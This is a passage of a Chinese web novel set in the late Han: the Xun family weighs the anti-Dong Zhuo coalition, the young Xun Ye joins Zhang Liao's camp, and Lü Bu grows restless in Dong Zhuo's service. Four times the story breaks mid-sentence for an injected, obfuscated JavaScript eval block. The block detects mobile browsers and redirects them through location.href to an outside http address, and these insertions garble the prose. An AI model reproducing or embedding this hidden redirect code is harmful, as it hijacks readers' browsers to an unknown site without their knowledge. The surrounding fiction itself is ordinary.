冀州物阜民丰兵多粮足,渤海太守袁绍袁本初当庭怒斥董卓逃至渤海,冀州牧韩馥韩文节同样不满董卓擅行废立,二者皆是当朝名士,以他们的声望要起兵讨董比散尽家财才募来四五千人的曹孟德容易得多。 但是韩文节不想兴兵生事,又忧心袁本初声名大噪且名门之后比他更得人心,竟然直接将人看管起来不让他和冀州的高官贤士来往,免得袁本初绕过他这个州牧带着冀州兵民前去讨董。 说韩文节自私自利小肚鸡肠?可他又安排亲信回颍川迎家乡士人百姓到冀州避难,中原避不开战祸,那就尽量让治下太平,至少能让父老乡亲有个能避难的地方可以去。 可以说他胆小怕事,但是不能说他不堪为名士。 那袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858488|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本初也不是真的小可怜,汝南袁氏在朝中引风吹火,他和袁术一人奔渤海一人至南阳,全是人稠物穰的好地方,如果没有猜错,袁氏这是后知后觉意识到推董卓上位是步烂棋,想靠袁绍袁术到地方招兵买马好在兵力上和董卓抗衡。 如果不是袁绍动作太大,韩馥也不至于紧张到直接派人看管他的地步。 都是名士,他得要脸。 荀晔迟疑了一下,又问道,“这样的话,冀州还安全吗?” 按照官职来看,冀州牧比渤海太守大;按照家世背景来看,袁绍比韩馥强;按照他记忆中的历史发展,再过不久冀州就会易主,让韩馥将冀州拱手相让的大功臣中还有一位是他素未蒙面的叔。 文若叔应韩馥的邀请带着族人去冀州,要是到地方发现冀州已经变成袁绍的了该怎么办? 等等,他知道有两位叔父在冀州为官,叔叔们跟的是韩馥还是袁绍?还是说鸡蛋放在两个篮子里,不管哪边出事他们都有后路? 小傻蛋惊叹一声,连忙表示不用管他刚才的问题,看透不说透,叔父们接着刚才的继续讲。 荀彧笑笑,没有说冀州那边到底是怎么打点,擦干手指又拿出几片竹简,“目前响应曹操的义军不多,但是据说来自三公的檄文已经快马加鞭送至各州郡长官手中,这是其中一份。” 董卓凶名赫赫,曹操的名望也不算高,万一义军讨董失败,董卓可以一杆子将他们所有人全部打成反贼。出头鸟不好当,没有多少人愿意这时候顶风冒头。 但是有朝廷檄文在手就不一样了,满朝文武在董贼的阴影下如履薄冰,三公亲笔写下“见逼迫,无以自救,企望义兵,解国患难”,字里行间血泪斑斑,这时再不响应讨董号召难道要和董贼为伍? 旁边,没比荀晔大几岁的小叔荀棐补充道,“不过那檄文并非出自三公之手,而是东郡太守桥瑁假称三公所发。” 他爹如今是三公之一,檄文是真是假没人比他们更清楚。 “檄文是真是假不重要,重要的是能通过邮驿送到各地长官手中。”荀彧抬眸,“天子处境艰难,各路义军需要的只是一份能让他们名正言顺的依据。” 只要檄文能通过正规途径送到他们手上,那就是真的。 “然后一群人以匡扶社稷为由聚在一起,开始新一轮的勾心斗角尔虞我诈。”郭嘉不以为然,发现所有人的目光都集中到他身上后愣了一下,“别说你们真心觉得那些家伙都满腔热血为报国?” 荀彧无奈,“奉孝,阿牞还在。” 郭嘉据理力争,“正是因为要给阿牞听,所以才不能让他对那些人抱太多希望。” 局势瞬息万变,估错人心真的会有性命之忧。 眼看两个人要展开辩论,荀晔小心翼翼的往亲爹那边挪挪,趁没人注意用气音小声说道,“阿父知道的,出门在外只有我忽悠别人的份儿,没有人能忽悠我。” 荀悦弯弯眼睛,“阿父知道,我们阿牞最机灵。” 只是担心要是能控制得住就不叫担心了。 父母在不远游,愿意跟随乡勇从军的壮丁中至少五成是孤家寡人,剩下的那些要么是家里穷得揭不开锅不得不响应招募换取钱粮,要么是在家乡得罪人过不下去不得不离开,很少会有人在衣食无忧的情况下放弃安稳日子选择朝不保夕。 他希望傻小子能安安稳稳过一辈子,可安稳不是想要就能有的。他已经怯懦的隐居乡野当闭上眼睛就没有生灵涂炭,不能强求儿子和他一样自欺欺人。 有人权欲熏心贪名逐利,有人散尽家财匡扶社稷。世上不只有罔顾忠义的乱臣贼子,更有忠臣义士仗节死义舍身成仁。 他们家阿牞赤子之心,将来定能成为顶天立地的好男儿。 9. 张辽你好 * 长辈们的联合教学持续到中午,荀晔从开始惊叹到结束,深切的感受到了什么叫语言艺术博大精深。 背景:董卓倒行逆施,各州郡群情激昂,来自三公的檄文日夜兼程送至各郡官署,天下忠义之师无不怒发冲冠。 同样的事情让不同的人来说,愣是说成了截然不同的两模两样。 美人爹和叔父们尽可能保持中立的描述某地某人干了什么,不去评价好坏,只单纯的分析那人为什么要这么做。 善恶好坏需要他自己分辨,世道险恶,要是出门随随便便就被人骗的团团转,那他还是老老实实待在家里吧。 叔父们想法很好,奈何旁边有个不吝以最大恶意揣度人性的郭奉孝,不管前面分析的多正经,最后脑子里都只剩下郭嘉那“这人不行”“这人不行”“这人也不行”的声音。 荀晔:牛啊! 不愧是鬼才郭嘉,酸枣联盟还没成立就提前预判那结盟的各路诸侯都是乌合之众,等他将来闯出名堂来一定把人绑在身边负责阵前叫骂。 郭鬼才不开口是不开口,让他放开了指点江山他能和祢衡竞争三国第一喷子,这功力完全可以轻松骂死十个王司徒。 荀彧等人沉默,但是看看他们家傻小子那亮晶晶的眼睛,又感觉他们几个在这儿略显多余。 行吧,总比毫无防备之心强。 郭嘉对来自小傻蛋的崇拜照单全收,摇头晃脑的感叹着,“嘉与阿牞意气相倾,真是相见恨晚呐。” 他说什么来着,分析局面这种事情缺谁也不能缺他,不然还不知道这小傻蛋也是个唯恐天下不乱的主儿。 荀晔笑的灿烂,酒逢知己千杯少,臭味相投走到老。 没毛病! 其他人:…… 你们开心就好。 多师课堂完美结束,接下来就是去哪儿。 荀晔想的简单,有力气去哪儿都不怕,张辽最近干的就是募兵的活儿,他直接去河边军营说他要从军就行。 长辈们开的小灶很有用,京城和地方的局势全部清晰明了,他的嘴皮子也不是吹的,现在让他照葫芦画瓢也能唬住不少人。 乱世以武安邦,但是他的脑袋瓜不是摆设,必要时也能伪装一下谋士。 有长辈们珠玉在前,他只要说出他是颍川荀氏子弟,对面肯定不会觉得他的脑袋瓜不好使。 荀彧想了想,问道,“不先进京谋个一官半职?” 今时不同往日,虽然局势很乱,但是家中小辈入仕却比前些年容易,先谋个一官半职和直接白身从军的处境大不相同,现在安排还来得及。 荀晔摇摇头,“我觉得我能凭拳头打出来个伍长或者什长。” 京城水深,他这种不起眼的小水滴掉进去激不起一点儿水花,比起动脑子他还是更喜欢动拳头。 “伍长什长?”郭嘉挑挑眉,煞有其事的劝道,“小阿牞,咱们要封候拜将,不能那么小家子气。” “饭要一口一口吃,先定个能达成的小目标,然后再封侯拜相。”荀晔说完自顾自的点点头,然后压低声音说道,“朝堂太复杂,我怕进去就被人吃干抹净,各方势力勾心斗角太可怕了。” “也是。”郭嘉怜爱的看着小傻蛋,“我们阿牞单纯心善,还是少和那些老奸巨猾的家伙打交道为好。” 局势乱成现在这样,诏董卓进京的袁氏至少要担一半的责任。 董卓看似粗鄙没有头脑,但是能抓住时机挟救驾之功入住朝堂一步登天的狠人不可能没脑子。就算董相国本人真的不太聪明,他身边的谋士幕僚也足够他和袁氏打擂台。 汝南袁氏的确显赫至极,但是天下不只袁氏一家世代簪缨,转移矛盾无论在什么时候都很好用,只要挑拨的巧妙,世族之间的内斗就能让袁氏焦头烂额。 荀晔:…… 这是夸他还是在挤兑他? 算了,就当在夸他。 郭鬼才说的对,袁氏这次确实是搬起石头砸自己的脚。 他们家叔祖只是被董卓破格提拔都差点被戳断脊梁骨,手把手将董卓提拔上来的袁隗更不可能逃过口诛笔伐。 董卓明摆着不愿意再听袁氏调遣,他提拔上来的士人属于名声有瑕疵但得了实权,袁氏众人则是面子里子都丢的干干净净,名声没了在朝中还要受打压。 眼看关东讨董联盟就要成立,京城只会越来越乱。 隐约记得董卓为避关东军锋芒还丧心病狂的焚毁洛阳迁都长安,所以进京谋官的速度大概率真的没有他去军中靠拳头打来的快。 荀悦荀彧耐心听着,没有替他做决定的打算,“阿牞自己有主意便好。” 做事要三思而后行,不怕傻小子要去冒险,就怕他热血上头什么都不想就去冒险。 各州郡义军讨董声势浩大,董卓有亲信凉州精锐可供调遣,张辽年轻又出身并州,没有意外的话应该不会调遣到他身上。 从军不能怕打仗,但是现在要去当兵的是他们家孩子,可以的话他们还是希望上战场的那天能晚一点到来。 傻小子要打点行囊去军营,他们也要收拾家当去冀州,几位叔父将能叮嘱的都叮嘱完便各自去忙。 密县离颍川只有两百里,冀州却是在千里之外,离乡时很多人都想着避过风头再回去,并没有远去冀州的打算。 山里不能久居,若乡人百姓不愿同行,他们还要再想法子将人护送回颍川。 正好奉孝也要回颍川,虽说带着护卫,但是外面兵荒马乱实在让他放心不下,不如和乡人一起回。 郭嘉小声嘀咕了句什么,看到荀彧回头立刻正经起来假装刚才什么都没有说。 荀晔:捂嘴.jpg 我举报,郭某人说文若叔像鸡妈妈。 郭嘉挥挥手让好友去忙,然后逮住偷笑的小傻蛋问道,“张辽随时可能拔营,你打算什么时候走?” “择日不如撞日,待会儿就去看看。”荀晔捏捏拳头,“先去看看情况,然后再决定要不要跟他走。” 经过李二陛下和亲爹叔父们的轮番教导,他现在对即将到来的军旅生涯充满期待。 李二陛下说世上没有常胜将军,他带兵多年也没少吃亏。 连超级六边形战神李二陛下都打过败仗,他一个小兵还没打过仗就担心这担心那实在没必要。 乱世以武安邦,他现在要考虑的是如何在战场上闯出名声,而不是待在家里发愁世道不太平。 迈出第一步最难,但是只要第一步迈出去,接下来才有无限可能。 怎么说呢,现在的情况比他预想中的好太多了。 他是看过百家讲坛的人,虽然现在什么都没有,但是一想到那劳什子明君辅导班还是下意识就联想到催人泪下的“荀彧之死”。 析毫剖芒的深入分析是一点儿都不带听的,一集看下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858489|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就记住了曹荀关系破裂分道扬镳。 开始时他还担心美人爹和几位叔父觉得他的想法不行,董卓声名狼藉,这时候去找张辽好像有种和正义背道而驰的感觉。 但是仔细一想,董卓是董卓张辽是张辽,现在的张辽还年轻,董相国知不知道麾下有个叫张辽的小将都难说,小透明的选择对不会局势造成任何影响。 再说了,他们家叔祖是董卓亲自提拔上去的,能说叔祖是董贼的爪牙吗?不能。 长辈们更看重家族利益,考虑的更多是如何在乱世中保全并壮大家族,而不是非黑即白的忠君报国。 很好很好,总算不用担心将来被逐出家门了。 荀晔已经做好准备,和留在院中的美人爹还有郭鬼才打过招呼便背上弓箭离开。 马上就要过年,前两天还有点过年的氛围,这几天变故太多,仅剩的那点年味儿也消失不见。 河边军营,张辽百无聊赖的坐在营帐里,连练兵的兴致都提不起来。 之前募兵好歹是有事情做,如今董相国大权独揽,并州出身的将士备受排挤,他又是丁大人推荐到何大将军府上的将领,不尴不尬的愣是落了个无所事事的处境。 京城太复杂,他想回并州。早知道进京会是这样,当初他说什么都不会来。 被丁大人举荐到京城的从事不只他一人,先前灵帝以蹇硕为西园上军校尉统帅禁军,丁大人便派武猛从事张扬率领士兵听从蹇硕号令。后来灵帝驾崩,蹇硕被何进所杀,部众尽归大将军府,张扬又被何进派回并州募兵顺便平乱。 募兵不是什么好活儿,但是带兵平乱是。只要剿匪剿的好,升官发财少不了,世上再没有比带兵平乱更好的差事。 他刚进京到大将军府时豪情万丈,以为等着他的是和张扬一样的备受重用,万万没想到何大将军看他年岁太轻根本瞧不上他,只见了一面就打发他去募兵。 他好不容易招了一千多连打架都不会的新兵蛋子回京,结果还没来得及交差大将军府就没了,没几天他的旧主执金吾丁原也被董卓设计杀害,各方交锋杀的你死我活,弄得他想分析情况都不知道该从哪儿分析。 何进看他年轻觉得他不堪大用,董卓有那么多凉州带来的亲信更用不上他。虽然这一千多新兵蛋子上战场也只会添乱,但是好歹来个人把粮饷发了,随手指个地方让他安营扎寨等候调用算什么? 董相国和麾下亲信将领贵人多忘事,猴年马月才等得到调令? 何大将军没了,丁大人也没了,他这个并州来的将领就连京城的大门都进不去了是吗? 这都什么事儿啊! 冷风吹过,守在帐篷外头的士兵通报,“将军,外面有一自称想从军的少年求见。” “想从军?”张辽揉揉手腕,扔下手里根本没蘸墨的笔起身出去,“走,去看看。” 当兵多是为了混口饭吃,这种在遇到募兵的时候就会结伴从军。孤身投军的也有,不过多是惹上人命官司的乡里恶霸或是一人吃饱全家不饿的倒霉蛋。 闲着也是闲着,让他看看这位想从军的少年是什么情况。 然后…… “荀晔,字明光,颍川人。”张辽看着手里的过所,神色复杂,“颍川荀氏?” 他没记错的话,当朝司空荀爽便是颍川荀氏。 不是,这出身直接去董相国手底下当差都使得,真不是来消遣他的吗? 10. 双向奔赴 * 荀晔来时考虑过出门闯荡要不要换个名字,想了想又觉得不妥。 虽然这年头兵荒马乱,但是出远门什么的依旧要随身携带过所,也就是这个时代的户口本。 一般来说只要不和官府打交道就用不上过所,那上面登记的体貌特征过于简略,即便是官吏也没法一眼分辨真假,所以很多人犯事儿后为了躲避官府追捕都会改名换姓。 但是过所在官府有存档,体貌年岁有可以模糊的范围,人际关系却没有。查验关文的官员不在意也就算了,一旦较真去查肯定能查出猫腻。 他没干过违法犯罪的事情,也没什么见不得人的地方,更不是别有用心混入军中的敌方细作,清清白白的良家子没有刻意造假的必要,完全可以大大方方亮证件。 张辽拿着过所翻来覆去看好几遍,再看看眼眸清亮的少年郎,确定人和证件对得上后更加想不明白,“小郎要从军?家中长辈可知晓?” 不是他胆小怕事,而是这身份他真的不敢收。 “长辈知晓。”荀晔听出了这人的言下之意,紧跟着解释道,“昨日有贼兵欲劫掠村寨,幸有张将军执法如山为民做主。家中长辈盛赞将军不畏风险嫉恶如仇实乃我辈楷模,晔心向往之,故特来投效。” 他不是偷偷离家出走,是心慕张将军风采特意找过来。 家中长辈知道他要从军,不光知道,还很支持他的选择。 是他聪明伶俐能让家中长辈放心?不,都是张将军的功劳! 张辽受宠若惊,“竟是如此?” 原来昨天送那几个贼兵过来的是荀氏部曲,昨天只顾得唾骂凉州兵就知道欺负百姓和塞外胡人一个德性,等砍完人想起来问话人已经走了。 他张文远何德何能,荀氏长辈真的如此夸他?夸他的是司空大人还是荀氏其他长辈?除了说他嫉恶如仇还夸了什么? 咳咳,他的意思是,颍川荀氏竟然有人知道他张文远是谁,真是太令他惊讶了。 二十岁的张辽还没学会如何隐藏情绪,从无精打采到精神焕发只差几句夸夸,要不是身边有小兵看着他都想直接和这小郎君勾肩搭背。 京城不好混,难得碰到一家有眼光的可得好好珍惜。 不过高兴归高兴,该问的问题还是得问。 他相信颍川荀氏不会害家中小辈,也自信是个出类拔萃的可靠将领,但是这世道光有自信没用,他要是真有本事也不会被打发到京城之外候命。 密县离洛阳三百里,快马加鞭过去也要两天,就算董相国身边亲信都死光了终于想起来犄角旮旯里还有个的张文远能用,等他到洛阳城能赶得上什么?黄花菜都凉了好吧! 怪他生不逢时赶上了董卓当政,运气不好谁来都没办法。 他承认拳头大是硬道理,但是有个好出身真的能省很多事,连董相国都是靠汝南袁氏的提拔才有今天,他哪儿来的本事让世家子跟他干? 讲真,他觉得不该是小郎君来找他,应该是他带着手底下这一千多新兵蛋子去求荀氏帮他们谋个出路。 要是早知道附近山里有世家避难,没准儿在小郎君过来之前他就先送上门了。 跟着他只能在角落里坐冷板凳,要不小郎君再考虑考虑? “不必如此,晔今日前来已是三思而后行。”荀晔笑着回道,“张将军天纵之才,假以时日定能出人头地。” 张辽身为大将军何进的直属部下,又曾是执金吾丁原的故吏,在何进和丁原相继被杀后待遇肯定好不到哪儿去。 文若叔一直关注着京城的情况,出门之前就已经把张辽的处境给他分析的清清楚楚。 他不去京城谋官也关系,家里可以帮他在别处运作,比如将备受冷落的张辽和麾下新兵运作回京城。 自古锦上添花易雪中送炭难,比起傻乎乎的一起等候不知道什么时候才能到来的调用,让张辽欠他个人情更利于将来在军中发展。 文若叔运筹帷幄智谋无双,听他的准没错。 不过话不能这时候说,也不能说的那么直白,不然显得他在挟恩图报,一不小心就交好不成反结仇了。 张辽看他态度坚定,嘴角控制不住的往上扬,“此处不是说话之地,且到我帐中一叙。” 虽然感觉投奔他不是什么好选择,但是荀氏的小郎君放弃唾手可得的光明前途来找他还说他是天纵之才依旧让他心花怒放。 不愧是世家子,说话就是好听。 他不是那些去哪儿都能被奉为座上宾的名士,小郎君没必要大老远找过来消遣他,所以夸他肯定是真心这么觉得。 没错没错,他张文远现在是虎落平阳,等他时运来了肯定能名扬天下威震四方。 他就是小郎君口中那假以时日定能一鸣惊人的旷世奇才哈哈哈哈哈哈。 荀晔很擅长和人打交道,张辽和郭嘉年龄相仿也没比他大几岁,年轻人之间的友谊不需要铺垫,短短一会儿俩人就从生疏的“张将军”“小郎君”变成了“文远兄”“明光贤弟”。 可惜帐中实在简陋,不然他们俩能当场来一出青梅煮酒论英雄。 张辽刚到密县安营扎寨,上头只让他在这儿安顿没提粮草怎么供应,手底下一千多张嘴要吃饭,他这几天一直在发愁怎么找京城要粮。 不管以前是谁的手下,现在他都归董相国管,就算驻扎在密县也必须由京城负责。 他又不是讨伐那什么的义军,没道理让他散尽家财供应军队。就算他现在要改换门庭讨伐那什么,他也没家财可散。 荀晔听的直摇头,他知道张辽处境不好,但是没想到能差成这样。 董卓也是,怎么连麾下将士的衣食都无法保证?还是说只有凉州来的亲信是他的兵,其他兵马爱咋咋? 真要这样的话,那同样并州出身的吕布估计也是表面光鲜,实际处境不会比张辽好多少。 ……好事儿啊! 二人相谈甚欢,说到兴处还出去较量了几招。 张辽自幼经历战乱,十五六岁便在雁门郡和胡人干仗,一身本事不是闹着玩的。 他以为世家出身的小郎君只会板板正正的君子六艺,交上手却着实让他吃了一惊。 若非现在无甚实权,他高低得给口才好身手好眼光更好的贤弟整个官儿当当。 伍长什长配不上他兄弟,要当就当将军。 可惜他只是个协助主官处理军务的从事,连称一声将军都名不正言不顺,别的就更不用说了。 日头偏西,荀晔起身告辞,他今天出门只带了过所没带行李,天黑之前得回到山里。 张辽大手一挥,“我送贤弟回去。” 他不是要凑上去依附荀氏,而是这儿好歹是个军营有几匹能用的马,骑马比两条腿走回去更方便。 再说了,荀家的小郎君在他军中,荀氏会眼睁睁看着家中小辈蹉跎时日虚度光阴? 人倒霉的时候喝口水都能塞牙缝,但是时运来了也是挡都挡不住,世上还有比他运气更好的人吗?没有! 天边晚霞万丈,官道上骏马飞驰,眨眼间便从河边军营到山脚下。 荀晔告别背影都带着兴奋的张辽,拍拍脑袋感觉出门时的自己有点傻。军营有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858490|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马家里也有马,今天出门又不是进山打猎,下山就是官道,他怎么没想起来要骑马? 山间茅草屋,荀彧已经定下再次启程的时间。 如他所料,乡人大多不愿离颍川太远,一同去冀州的不足来时的三分之一。 意外的是,随他们家大兄来而来的村民无一例外都选择再次跟随。 荀晔回去立刻把闲着的爹和叔父们聚到一起,先把下午在帐中的情况复述一遍,然后一本正经的分析道,“张辽军中缺粮,并不介意有人能施以援手。或者说,他非常需要有人施以援手。” 不是他们上赶着,相反,现在是张辽更加迫切。 这波属于是双向奔赴,阿爹和叔父们可以放心了。 “信件已经给你叔祖送去,若无意外三日之内便能看到调令。”荀彧拍拍已经和他差不多高的侄儿,轻叹一声,“阿牞从未和大兄分开过,怕吗?” “不怕。”荀晔错开目光,他最受不了这种氛围,再说下去肯定又舍不得,“叔父,阿父说要出门历练就算长大了,昨夜深思良久才为我定下‘明光’二字为字,以后不能再喊乳名了。” 荀彧哑然失笑,“好,明光。” 氛围破坏掉再想酝酿回来也难,荀悦知道傻小子转移话题是怕大庭广众之下掉金豆豆,但是掉金豆豆该说的也得说,“原本不想在过年时折腾,但各路义军陆续抵达陈留酸枣县,等阿牞进京我们便启程离开鸡洛山。” 酸枣县在密县东北不远,县城小小的并不起眼,如今却聚集了十几路义军。 旌旗绵延百余里,百姓胆战心惊望之生畏,实在不能再拖延。 荀晔揉揉脸,问道,“所有人都走吗?” 荀悦叹气,“并不。冀州太远,许多同乡眷恋故土不愿远迁。” 说也说了劝也劝了,但是乡人还是心怀侥幸觉得天下那么大乱军不会打到他们家。 早年黄巾乱起的时候他们也是这么觉得,结果呢,颍川全郡死伤惨重,左中郎将皇甫嵩和右中郎将朱儁合军才堪堪将乱军平定下来。 要知道有张角三兄弟坐镇的黄巾大本营冀州也只派去了北中郎将卢植一路人马,颍川一郡非但调动了两位中郎将,甚至两军合剿还屡次落入下风,可见战事有多惨烈。 如今各路义军齐聚陈留,陈留和颍川可是挨着的,谁敢保证那些兵马全都不扰民? 荀晔皱起眉头,“这时候回颍川路上指不定能遇到多少支军队,不行不行,我去劝劝。” 从来都是跑毒没见过主动往毒圈钻的,这时候回颍川和送死没啥区别,故土诚可贵生命价更高,不能把希望寄托在虚无缥缈的运气上。 荀悦朝旁边的弟弟们眨眨眼睛,“乡人那里有阿牞在不用担心,现在要劝的只剩下奉孝一个了。” 荀彧扬起唇角眉眼弯弯,“奉孝那里也无妨,回头将他与志才一同接至冀州。” 郭嘉尚不知已经被安排的明明白白,他这会儿正在观摩小傻蛋干活。 仲豫兄沉静寡言,这是把话都让给儿子说了吗? 厉害啊! 月落日升,山里迁居避祸的准备工作进行的紧张有序。 三百里外的洛阳城中,董卓董相国瞪着舆图上的小小酸枣杀意迸现。 香炉中青烟袅袅散开,书案上的竹简乱成一团,还有不少散落在地上,很明显董相国刚发过火。 就在这时,门房匆忙跑来通报,说是荀司空求见。 廊檐下,高大健壮的无双武将朝里瞥了一眼,然后面无表情的打了个哈欠。 又是噼里啪啦的一天,无趣。 11. 京都洛阳 * 日头惨白,凉风透骨,只有靠近火炉才能感受到些许暖意。 门房来去匆匆,不多时,儒士打扮的司空荀爽便自院外而来。 董卓进京后选用天下名士和朝中众臣分庭抗礼,奈何他久居西凉,想在朝中立威实在不易,即便提拔了不少士人也压不住朝中那些反对他的声音。 早先他还想和那些不给他面子的家伙打好关系,就算那些人不接受他的好意弃官出逃还骂他,他也不计前嫌让他们担任地方太守以示和解。 结果呢,忘恩负义的狗东西们竟然联合起来讨伐他。 董相国满肚子火气,对着亲自提拔上来的名士也没什么好脸色,“司空亲至府上有何贵干?” 好在荀爽好脾气不在乎他的态度,面子上过得去得了,在乎太多那是自讨苦吃,“回禀相国,近日大军回京,营房选址需得相国过目。” ——司空掌水土事,凡四方水土功课,岁尽则奏其优劣而行赏罚。 董相国给官给的大方,水土之事极其宽泛,只建造营寨一个理由便能让他自然而然切入所有军务话题。 太平盛世的司空令人艳羡,现在这年景就算了,尤其他还是“依附权臣”才有的今日风光,出门不被讥讽已经很不错了,别的根本不敢想。 董相国身边有足够多的谋士幕僚,被强征至京城的官员只是他分权的工具,即便位至司空也不例外。 话虽如此,该“分忧”还是得“分忧”。 前不久黄巾余党白波贼攻破河东郡,董卓派女婿牛辅前去讨伐,不料打了两个月非但没能平乱反而被白波贼打的节节败退不得不回京。 讨贼失利的大军要安置,早先派去各地募兵的将领也要安置。 何大将军和丁执金吾的部下都归于董相国,如今军中萎靡松散,相国大人还是得在收拢人心上下功夫。 董卓神色稍缓,“有劳司空费心。” 不枉他抵达京城后携兵刃进殿要求为党人平反,就算大部分所谓名士都忘恩负义徒有虚名,终究还是会有几个能为他所用。 话说何进那狗东西到底派了多少人出去募兵?杀几个宦官而已至于这么大费周章? 董相国看着手里的原属于何进的将领清单,要不是何进已经死了他甚至想撬开那家伙的脑壳看看里面装的都是什么。 屠户出身就是没脑子,难怪诛个宦官都能被宦官反杀,招个兵都招不明白能成事才是滑天下之大稽。 原属大将军府的兵马已经被他打散,丁原死后并州军也被拆分,如今京城的兵力乃是他一家独大。 他麾下有能征善战的西凉铁骑,讨逆平乱时不放心调用那些原本属于别人的兵马,也看不上刚招募来的新兵蛋子,不过一直晾着也不是办法,既然已经归了他董仲颖便不能再给他们惦记旧主的机会。 丁原老儿有些本事,并州军中猛将众多,若非他用计诱得吕布归顺,想掌控洛阳城更是难如登天。 董卓眸光微动,心中已经有了想法。 荀爽没在议事厅待太久,将近几日需要汇报的事情说完便起身告辞。 有些事情不需要明说,他只需要在旁边稍微引导几句,董卓自己就会想到那里并出面解决,不然他何必特意挑相国府的谋士幕僚都不在的时间过来? 进京有风险,应召需谨慎,他只是一个晚节不保的前名士,在京城这潭深水中激不起半片水花,局势怎么变化都和他没有关系。 荀司空如此想着,微笑着朝倚在廊柱上两眼空空的威猛武将点点头,然后面色如常施施然离开。 “……?”吕布反应慢了一拍,等他摸着脑袋站直身子,刚才和他打招呼的司空大人已经走远。 董卓自知得罪的人太多,不算各州郡那恨不得啖他肉寝他皮的义军,只京城就有数不清的人想取他项上人头。为了保证老命的安全,恨不得一天十二个时辰都让他这个武艺超凡的义子守在身边。 他天天在相国府杵着当护卫,来来往往的谋士宾客都对他视若无睹,如今有个见面和他打招呼的竟弄得他措手不及。 不对,这样不对。 吕布皱紧眉头,目送斯斯文文的荀司空走远,心里越想越不是滋味。 他以前是何等的威风傲慢,就算丁原给他安排的是文职主簿,身边亲信将士见了他也都得恭恭敬敬的喊他一声“吕将军”。 现在可好,他已被提拔至中郎将封都亭侯,明明官衔比以前高得多,愣是活成了个不起眼的护卫,连有人对他点个头都觉得受宠若惊,这合理吗? 吕大将军盯着寒冬中依旧花团锦簇的相国府后院,越发确定这不是他想要的生活。 他吕奉先要的是建功立业纵横沙场,不是给人当召之即来挥之即去的护卫,战场才是武将的归宿,终日守在老贼身边只会磨灭他的锐气。 董卓老贼诱他诛杀丁原时许他高官厚禄宝马金银,现在事情办完却翻脸不认人,嘴上“吾儿奉先”喊的亲切,实际上天天拿他堂堂中郎将、都亭侯当护卫使唤,再这么下去天下人都只会当他是董卓的看门狗,还有几个人能记得他曾经的勇猛? 吕布磨了磨牙,握紧方天画戟手背青筋暴起。 他不关心朝中局势,就算满朝文武在朝堂上打出猪脑子他都不在乎,他只在乎他自己。 眼看各路兵马就要打到京城,凉州军是相国亲信能派出去迎敌,并州军是半路抢来的就随意糟践,真当他们并州人都是没脾气的布老虎啊? ——这天天!站岗!的!鬼日子!他是!一天!也!过不下去了!!! 吕大将军守在门口积蓄火气,心烦意燥间又听到议事厅中传来义父董卓的声音,“吾儿奉先何在?” 又来了又来了,吾儿吾儿吾儿,吾儿个大头鬼啊! 因为利益走到一起的义父子二人貌合神离,并且随着时间的推移大有朝着心不合貌也不合的方向发展。 相国董卓倒行逆施残害忠良,朝堂民间皆人心惶惶,洛阳城中家家关门闭户,街上除了巡逻的士兵没有半个人影,就连过年也无甚烟火气。 城里冷清和刚得到新任命的年轻小将没有任何关系,张辽现在高兴的很,路上遇见缩着尾巴跑远的野狗都能夸狗子机灵知道躲人。 上头有人就是好办事,他都做好孤身进京讨粮草然后被赶出来的打算了,没想到峰回路转还能搭上颍川荀氏。 妙啊! 调令来的比他想象中快得多,短短三五日时间他手底下的新兵就迁到洛阳城外和其他新募来的兵丁一起训练,他也从无关紧要的从事摇身变成真正可以喊声“将军”的骑都尉。 天无绝人之路,他张文远果然大有可为! “明光,荀司空的府邸就在前头,为兄去拜访旧友,就不跟着你碍眼了,回见。” 张辽走路带风,心情好的时候看什么都是好的。 他也想跟着明光贤弟去拜见长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858491|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈,不过司空大人的府邸对他而言门槛太高,只能拜托贤弟将他的心意带到,他去寻同在京城的并州同袍叙旧顺便打探情况。 他们如今的顶头上司都亭侯吕奉先和他一样是并州人,而且早先也曾在丁执金吾麾下效力,虽然后来上头出了点儿小问题,但是他们俩的关系还算可以。 